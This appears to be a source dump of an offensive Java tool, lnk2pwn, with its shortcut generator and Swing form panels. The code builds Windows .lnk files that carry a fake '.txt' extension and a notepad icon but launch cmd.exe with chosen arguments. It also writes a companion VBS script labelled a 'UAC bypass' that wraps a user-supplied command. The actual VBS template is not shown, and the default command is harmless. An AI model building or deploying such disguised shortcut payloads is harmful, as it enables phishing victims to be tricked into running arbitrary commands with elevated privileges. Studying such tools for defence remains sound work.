frame.setVisible(true); 28 | } 29 | 30 | @Override 31 | public Window getActiveWindow() { 32 | return window; 33 | } 34 | 35 | @Override 36 | public JFrame getRootFrame() { 37 | return root; 38 | } 39 | 40 | @Override 41 | public void eventDispatched(AWTEvent event) { 42 | if (event instanceof WindowEvent) { 43 | WindowEvent windowEvent = (WindowEvent) event; 44 | 45 | switch(windowEvent.getID()) 46 | { 47 | case WindowEvent.WINDOW_ACTIVATED: 48 | window = windowEvent.getWindow(); 49 | break; 50 | 51 | case WindowEvent.WINDOW_DEACTIVATED: 52 | window = null; 53 | break; 54 | 55 | default: 56 | break; 57 | } 58 | 59 | } 60 | } 61 | 62 | private void initBounds(JFrame frame, BoundsPolicy policy) { 63 | if (!EventQueue.isDispatchThread()) { 64 | throw new IllegalStateException("WindowController.show() should be called " 65 | + "from the Event Dispatch Thread."); 66 | } 67 | 68 | switch(policy) { 69 | 70 | case CENTER_ONLY: 71 | frame.setLocationRelativeTo(null); 72 | break; 73 | 74 | case MAXIMIZE_BOTH: 75 | frame.setState(JFrame.MAXIMIZED_BOTH); 76 | break; 77 | 78 | case PACK_ONLY: 79 | frame.pack(); 80 | break; 81 | 82 | case PACK_AND_CENTER: 83 | frame.pack(); 84 | frame.setLocationRelativeTo(null); 85 | break; 86 | 87 | case MAXIMIZE: 88 | Toolkit toolkit = Toolkit.getDefaultToolkit(); 89 | Dimension dimension = toolkit.getScreenSize(); 90 | Insets insets = toolkit.getScreenInsets(frame.getGraphicsConfiguration()); 91 | 92 | int width = dimension.width - (insets.left + insets.top); 93 | int height = dimension.height - (insets.top + insets.bottom); 94 | int x = insets.left; 95 | int y = insets.right; 96 | 97 | frame.pack(); 98 | frame.setSize(width, height); 99 | frame.setLocation(x, y); 100 | 101 | break; 102 | 103 | case RESTORE_LAST_STATE: 104 | break; 105 | 106 | default: 107 | break; 108 | } 109 | 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/controller/ShortcutController.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.controller; 2 | 3 | import java.io.IOException; 4 | import java.nio.file.Files; 5 | import java.nio.file.Paths; 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | import java.util.Objects; 9 | 10 | import javax.annotation.PostConstruct; 11 | 12 | import org.apache.logging.log4j.LogManager; 13 | import org.apache.logging.log4j.Logger; 14 | import org.springframework.stereotype.Component; 15 | 16 | import com.github.vatbub.mslinks.ShellLink; 17 | import com.github.vatbub.mslinks.ShellLinkException; 18 | import com.github.vatbub.mslinks.ShellLinkHeader; 19 | import com.itgorillaz.lnk2pwn.model.Shortcut; 20 | 21 | @Component 22 | public class ShortcutController { 23 | 24 | private static final Logger LOGGER = LogManager.getLogger(ShortcutController.class); 25 | 26 | private final String LINK_EXT = ".lnk"; 27 | private final Map WINDOW_STYLE_MAP = new HashMap<>(); 28 | 29 | @PostConstruct 30 | private void initWindowStyleMap() { 31 | WINDOW_STYLE_MAP.put("MINIMIZED", ShellLinkHeader.SW_SHOWMINNOACTIVE); 32 | WINDOW_STYLE_MAP.put("MAXIMIZED", ShellLinkHeader.SW_SHOWMAXIMIZED); 33 | WINDOW_STYLE_MAP.put("NORMAL", ShellLinkHeader.SW_SHOWNORMAL); 34 | } 35 | 36 | public void generateShortcut(Shortcut shortcut) throws IOException, ShellLinkException { 37 | LOGGER.info("Generating a new shortcut(.lnk)"); 38 | 39 | String fileName = String.valueOf(shortcut.getFileName()); 40 | String fakeExtension = String.valueOf(shortcut.getFakeExtension()); 41 | String workingDir = String.valueOf(shortcut.getWorkingDir()); 42 | String targetPath = String.valueOf(shortcut.getTargetPath()); 43 | String arguments = String.valueOf(shortcut.getArguments()); 44 | String iconLocation = String.valueOf(shortcut.getIconLocation()); 45 | String windowStyle = shortcut.getWindowStyle(); 46 | Integer iconIndex = shortcut.getIconIndex(); 47 | String vbsFileName = String.valueOf(shortcut.getVbsFileName()); 48 | String commandOuput = String.valueOf(shortcut.getCommandOuput()); 49 | String outputPath = String.valueOf(shortcut.getOutputPath()); 50 | String linkName = fileName.concat(fakeExtension); 51 | 52 | LOGGER.info(String.format("File Name: %s", fileName)); 53 | LOGGER.info(String.format("Fake Extension: %s", fakeExtension)); 54 | LOGGER.info(String.format("Working Dir: %s", workingDir)); 55 | LOGGER.info(String.format("Target Path: %s", targetPath)); 56 | LOGGER.info(String.format("Arguments: %s", arguments)); 57 | LOGGER.info(String.format("Icon Location: %s", iconLocation)); 58 | LOGGER.info(String.format("Icon Index: %s", iconIndex)); 59 | LOGGER.info(String.format("Window Style: %s", windowStyle)); 60 | LOGGER.info(String.format("VBS File Name: %s", vbsFileName)); 61 | LOGGER.info(String.format("Link Name: %s", linkName)); 62 | LOGGER.info(String.format("Output Path: %s", outputPath)); 63 | LOGGER.info(String.format("Command Output:\n%s", commandOuput)); 64 | 65 | ShellLink sl = ShellLink.createLink(linkName) 66 | .setWorkingDir(workingDir) 67 | .setTarget(targetPath) 68 | .setCMDArgs(arguments) 69 | .setIconLocation(iconLocation); 70 | 71 | sl.getHeader().setShowCommand(WINDOW_STYLE_MAP.get(shortcut.getWindowStyle())); 72 | 73 | if (!Objects.isNull(iconIndex)) { 74 | sl.getHeader().setIconIndex(iconIndex); 75 | } 76 | 77 | String linkOutput = outputPath 78 | .concat("/") 79 | .concat(linkName) 80 | .concat(LINK_EXT); 81 | 82 | String vbsOutput = outputPath 83 | .concat("/") 84 | .concat(vbsFileName); 85 | 86 | Files.write(Paths.get(vbsOutput), commandOuput.getBytes()); 87 | sl.saveTo(linkOutput); 88 | 89 | LOGGER.info("Shortcut successfully generated!"); 90 | } 91 | 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/form/UACBypassPanel.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.form; 2 | 3 | import java.awt.Color; 4 | import java.awt.event.KeyEvent; 5 | import java.awt.event.KeyListener; 6 | 7 | import javax.annotation.PostConstruct; 8 | import javax.swing.event.DocumentEvent; 9 | import javax.swing.event.DocumentListener; 10 | 11 | import org.springframework.beans.factory.annotation.Autowired; 12 | import org.springframework.beans.factory.annotation.Qualifier; 13 | import org.springframework.stereotype.Component; 14 | 15 | import com.alee.laf.label.WebLabel; 16 | import com.alee.laf.panel.WebPanel; 17 | import com.alee.laf.scroll.WebScrollPane; 18 | import com.alee.laf.text.WebTextArea; 19 | import com.alee.laf.text.WebTextField; 20 | import com.itgorillaz.lnk2pwn.model.Shortcut; 21 | import com.itgorillaz.lnk2pwn.view.utils.ColorUtils; 22 | 23 | import net.miginfocom.swing.MigLayout; 24 | 25 | @Component 26 | public class UACBypassPanel extends WebPanel implements KeyListener, DocumentListener { 27 | 28 | private static final long serialVersionUID = 8564799804491915041L; 29 | 30 | private final String DEFAULT_UAC_BYPASS_FILE_NAME = "uac_bypass.vbs"; 31 | private final Color COMMAND_BG_COLOR = ColorUtils.hex2Rgb("#1e1e1e"); 32 | 33 | private WebTextField uacFileNameField = new WebTextField(); 34 | private WebTextArea uacCommandTextArea = new WebTextArea(); 35 | private WebTextArea uacOuputTextArea = new WebTextArea(); 36 | 37 | @Autowired 38 | @Qualifier("VBSSourceCode") 39 | private String vbsSourceCode; 40 | 41 | @Autowired 42 | private Shortcut shortcut; 43 | 44 | @PostConstruct 45 | private void initComponents() { 46 | MigLayout layout = new MigLayout("", "[grow]", ""); 47 | this.setLayout(layout); 48 | this.add(createUACFileNamePanel(), "grow,wrap"); 49 | this.add(createUACCommandPanel(), "grow,wrap"); 50 | 51 | uacFileNameField.getDocument().addDocumentListener(this); 52 | uacOuputTextArea.getDocument().addDocumentListener(this); 53 | uacCommandTextArea.addKeyListener(this); 54 | 55 | uacFileNameField.setText(DEFAULT_UAC_BYPASS_FILE_NAME); 56 | uacOuputTextArea.setText(vbsSourceCode); 57 | } 58 | 59 | @Override 60 | public void keyReleased(KeyEvent event) { 61 | changeOutput(uacCommandTextArea.getText()); 62 | } 63 | 64 | @Override 65 | public void keyPressed(KeyEvent event) { 66 | 67 | } 68 | 69 | @Override 70 | public void keyTyped(KeyEvent event) { 71 | 72 | } 73 | 74 | private void changeOutput(String command) { 75 | command = command.replace(System.lineSeparator(), ""); 76 | String output = String.format(vbsSourceCode, command); 77 | uacOuputTextArea.setText(output); 78 | } 79 | 80 | private WebPanel createUACFileNamePanel() { 81 | MigLayout layout = new MigLayout("", "[grow]", ""); 82 | WebPanel panel = new WebPanel(); 83 | panel.setLayout(layout); 84 | panel.add(new WebLabel("File Name(.vbs)"), "wrap"); 85 | panel.add(uacFileNameField, "grow"); 86 | return panel; 87 | } 88 | 89 | private WebPanel createUACCommandPanel() { 90 | MigLayout layout = new MigLayout("", "[grow][grow]", "[][grow]"); 91 | WebPanel panel = new WebPanel(); 92 | panel.setLayout(layout); 93 | panel.add(new WebLabel("Command")); 94 | panel.add(new WebLabel("Output"), "wrap"); 95 | 96 | uacCommandTextArea.setLineWrap(true); 97 | uacCommandTextArea.setBackground(COMMAND_BG_COLOR); 98 | uacCommandTextArea.setForeground(Color.WHITE); 99 | 100 | uacOuputTextArea.setLineWrap(true); 101 | uacOuputTextArea.setBackground(COMMAND_BG_COLOR); 102 | uacOuputTextArea.setForeground(Color.WHITE); 103 | 104 | WebScrollPane uacCommandAreaScroll = new WebScrollPane(uacCommandTextArea); 105 | WebScrollPane uacOuputAreaScroll = new WebScrollPane(uacOuputTextArea); 106 | 107 | panel.add(uacCommandAreaScroll, "w 100%, h 100%, hmin 250"); 108 | panel.add(uacOuputAreaScroll, "w 100%, h 100%, hmin 250"); 109 | 110 | return panel; 111 | } 112 | 113 | @Override 114 | public void changedUpdate(DocumentEvent e) { 115 | updateModel(); 116 | } 117 | 118 | @Override 119 | public void insertUpdate(DocumentEvent e) { 120 | updateModel(); 121 | } 122 | 123 | @Override 124 | public void removeUpdate(DocumentEvent e) { 125 | updateModel(); 126 | } 127 | 128 | private void updateModel() { 129 | shortcut.setCommand(uacCommandTextArea.getText().trim()); 130 | shortcut.setCommandOuput(uacOuputTextArea.getText().trim()); 131 | shortcut.setVbsFileName(uacFileNameField.getText().trim()); 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/form/ShortcutInfoPanel.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.form; 2 | 3 | import javax.annotation.PostConstruct; 4 | import javax.swing.event.ChangeEvent; 5 | import javax.swing.event.ChangeListener; 6 | import javax.swing.event.DocumentEvent; 7 | import javax.swing.event.DocumentListener; 8 | 9 | import org.springframework.beans.factory.annotation.Autowired; 10 | import org.springframework.stereotype.Component; 11 | 12 | import com.alee.laf.combobox.WebComboBox; 13 | import com.alee.laf.label.WebLabel; 14 | import com.alee.laf.panel.WebPanel; 15 | import com.alee.laf.text.WebTextField; 16 | import com.itgorillaz.lnk2pwn.model.Shortcut; 17 | 18 | import net.miginfocom.swing.MigLayout; 19 | 20 | @Component 21 | public class ShortcutInfoPanel extends WebPanel implements DocumentListener, ChangeListener { 22 | 23 | private static final long serialVersionUID = 4663408720514745622L; 24 | 25 | private final String DEFAULT_TARGET_PATH = "C:\\Windows\\System32\\cmd.exe"; 26 | private final String DEFAULT_WORKING_DIR = "C:\\Windows\\System32"; 27 | private final String DEFAULT_ARGUMENTS = "/c notepad.exe"; 28 | private final String DEFAULT_FAKE_EXTENSION = ".txt"; 29 | private final String DEFAULT_ICON_DLL = "C:\\Windows\\System32\\notepad.exe"; 30 | private final String[] WINDOW_STYLES = {"MINIMIZED", "MAXIMIZED", "NORMAL"}; 31 | 32 | private WebTextField targetPathField = new WebTextField(); 33 | private WebTextField workingDirField = new WebTextField(); 34 | private WebTextField argumentsField = new WebTextField(); 35 | private WebTextField shortcutFileNameField = new WebTextField(); 36 | private WebTextField fakeExtensionField = new WebTextField(); 37 | private WebTextField iconPathField = new WebTextField(); 38 | private WebTextField iconIndexField = new WebTextField(); 39 | private WebComboBox windowStyleComboBox = new WebComboBox(WINDOW_STYLES); 40 | 41 | @Autowired 42 | private Shortcut shortcut; 43 | 44 | @PostConstruct 45 | private void initComponents() { 46 | this.setLayout(new MigLayout("", "[grow]", "")); 47 | 48 | targetPathField.getDocument().addDocumentListener(this); 49 | workingDirField.getDocument().addDocumentListener(this); 50 | argumentsField.getDocument().addDocumentListener(this); 51 | shortcutFileNameField.getDocument().addDocumentListener(this); 52 | fakeExtensionField.getDocument().addDocumentListener(this); 53 | iconPathField.getDocument().addDocumentListener(this); 54 | iconIndexField.getDocument().addDocumentListener(this); 55 | 56 | targetPathField.setText(DEFAULT_TARGET_PATH); 57 | workingDirField.setText(DEFAULT_WORKING_DIR); 58 | argumentsField.setText(DEFAULT_ARGUMENTS); 59 | fakeExtensionField.setText(DEFAULT_FAKE_EXTENSION); 60 | iconPathField.setText(DEFAULT_ICON_DLL); 61 | 62 | WebPanel targetAndWorkingDirPanel = createTargetPathAndWorkingDirPanel(); 63 | WebPanel argumentsPanel = createArgumentsPanel(); 64 | WebPanel shortcutDetailsPanel = createShortcutDetailsPanel(); 65 | 66 | this.add(targetAndWorkingDirPanel, "grow,wrap"); 67 | this.add(argumentsPanel, "grow,wrap"); 68 | this.add(shortcutDetailsPanel, "grow,wrap"); 69 | } 70 | 71 | private WebPanel createTargetPathAndWorkingDirPanel() { 72 | MigLayout layout = new MigLayout("", "[grow][grow]", ""); 73 | WebPanel panel = new WebPanel(); 74 | panel.setLayout(layout); 75 | panel.add(new WebLabel("Target Path")); 76 | panel.add(new WebLabel("Working Dir"), "wrap"); 77 | panel.add(targetPathField, "grow"); 78 | panel.add(workingDirField, "grow"); 79 | return panel; 80 | } 81 | 82 | private WebPanel createArgumentsPanel() { 83 | MigLayout layout = new MigLayout("", "[grow]", ""); 84 | WebPanel panel = new WebPanel(); 85 | panel.setLayout(layout); 86 | panel.add(new WebLabel("Arguments"), "wrap"); 87 | panel.add(argumentsField, "grow"); 88 | return panel; 89 | } 90 | 91 | private WebPanel createShortcutDetailsPanel() { 92 | MigLayout layout = new MigLayout("", "[grow][grow][grow][][grow]", ""); 93 | WebPanel panel = new WebPanel(); 94 | panel.setLayout(layout); 95 | panel.add(new WebLabel("File Name")); 96 | panel.add(new WebLabel("Fake Extension")); 97 | panel.add(new WebLabel("Icon Location")); 98 | panel.add(new WebLabel("Icon Index")); 99 | panel.add(new WebLabel("Window Style"), "wrap"); 100 | panel.add(shortcutFileNameField, "grow"); 101 | panel.add(fakeExtensionField, "grow"); 102 | panel.add(iconPathField, "grow"); 103 | panel.add(iconIndexField, "grow"); 104 | panel.add(windowStyleComboBox, "grow"); 105 | 106 | return panel; 107 | } 108 | 109 | @Override 110 | public void changedUpdate(DocumentEvent arg0) { 111 | updateModel(); 112 | } 113 | 114 | @Override 115 | public void insertUpdate(DocumentEvent arg0) { 116 | updateModel(); 117 | } 118 | 119 | @Override 120 | public void removeUpdate(DocumentEvent arg0) { 121 | updateModel(); 122 | } 123 | 124 | @Override 125 | public void stateChanged(ChangeEvent arg0) { 126 | updateModel(); 127 | } 128 | 129 | private void updateModel() { 130 | Integer iconIndex = null; 131 | 132 | try { 133 | iconIndex = Integer.parseInt(iconIndexField.getText()); 134 | } catch(NumberFormatException e) { 135 | // do nothing 136 | } 137 | 138 | shortcut.setTargetPath(targetPathField.getText()); 139 | shortcut.setWorkingDir(workingDirField.getText()); 140 | shortcut.setArguments(argumentsField.getText()); 141 | shortcut.setFileName(shortcutFileNameField.getText()); 142 | shortcut.setFakeExtension(fakeExtensionField.getText()); 143 | shortcut.setIconLocation(iconPathField.getText()); 144 | shortcut.setIconIndex(iconIndex); 145 | shortcut.setWindowStyle(String.valueOf(windowStyleComboBox.getSelectedItem())); 146 | } 147 | 148 | } 149 | --------------------------------------------------------------------------------